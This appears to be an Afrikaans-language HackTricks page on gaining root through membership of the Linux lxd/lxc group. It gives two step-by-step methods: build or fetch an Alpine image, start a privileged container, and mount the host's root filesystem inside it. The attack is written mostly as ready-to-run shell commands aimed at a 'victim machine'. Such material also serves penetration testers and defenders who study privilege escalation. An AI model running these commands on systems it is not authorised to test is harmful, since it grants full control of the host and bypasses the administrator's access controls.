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85 lines
3.3 KiB
Markdown
85 lines
3.3 KiB
Markdown
# lxd/lxc Groep - Privilege escalasie
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{{#include ../../../banners/hacktricks-training.md}}
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As jy tot die _**lxd**_ **of** _**lxc**_ **groep** behoort, kan jy root word.
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## Exploitering sonder internet
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### Metode 1
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Jy kan 'n alpine beeld aflaai om met lxd van 'n vertroude repository te gebruik. Canonical publiseer daaglikse boue op hul webwerf: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
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Neem net beide **lxd.tar.xz** en **rootfs.squashfs** van die nuutste bou. (Gidsnaam is die datum).
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Alternatiewelik kan jy hierdie distro bouer op jou masjien installeer: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (volg die instruksies van die github):
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```bash
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# Install requirements
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sudo apt update
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sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
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# Clone repo
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mkdir -p $HOME/go/src/github.com/lxc/
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cd $HOME/go/src/github.com/lxc/
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git clone https://github.com/lxc/distrobuilder
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# Make distrobuilder
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cd ./distrobuilder
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make
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# Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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# Create the container - Beware of architecture while compiling locally.
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sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
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```
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Laai die lêers **incus.tar.xz** (**lxd.tar.xz** as jy dit van die Canonical-bewaarplek afgelaai het) en **rootfs.squashfs** op, voeg die beeld by die repo en skep 'n houer:
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```bash
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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# Check the image is there
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lxc image list
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# Create the container
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lxc init alpine privesc -c security.privileged=true
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# List containers
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lxc list
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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```
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> [!CAUTION]
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> As jy hierdie fout _**Fout: Geen stoorpoel gevind nie. Skep asseblief 'n nuwe stoorpoel**_\
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> Voer **`lxd init`** uit en stel al die opsies op verstek in. Herhaal dan die vorige stel opdragte
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Uiteindelik kan jy die houer uitvoer en root verkry:
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```bash
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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```
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### Metode 2
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Bou 'n Alpine beeld en begin dit met die vlag `security.privileged=true`, wat die houer dwing om as root met die gasheer lêerstelsel te kommunikeer.
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```bash
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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# before running the image, start and configure the lxd storage pool as default
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lxd init
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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```
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{{#include ../../../banners/hacktricks-training.md}}
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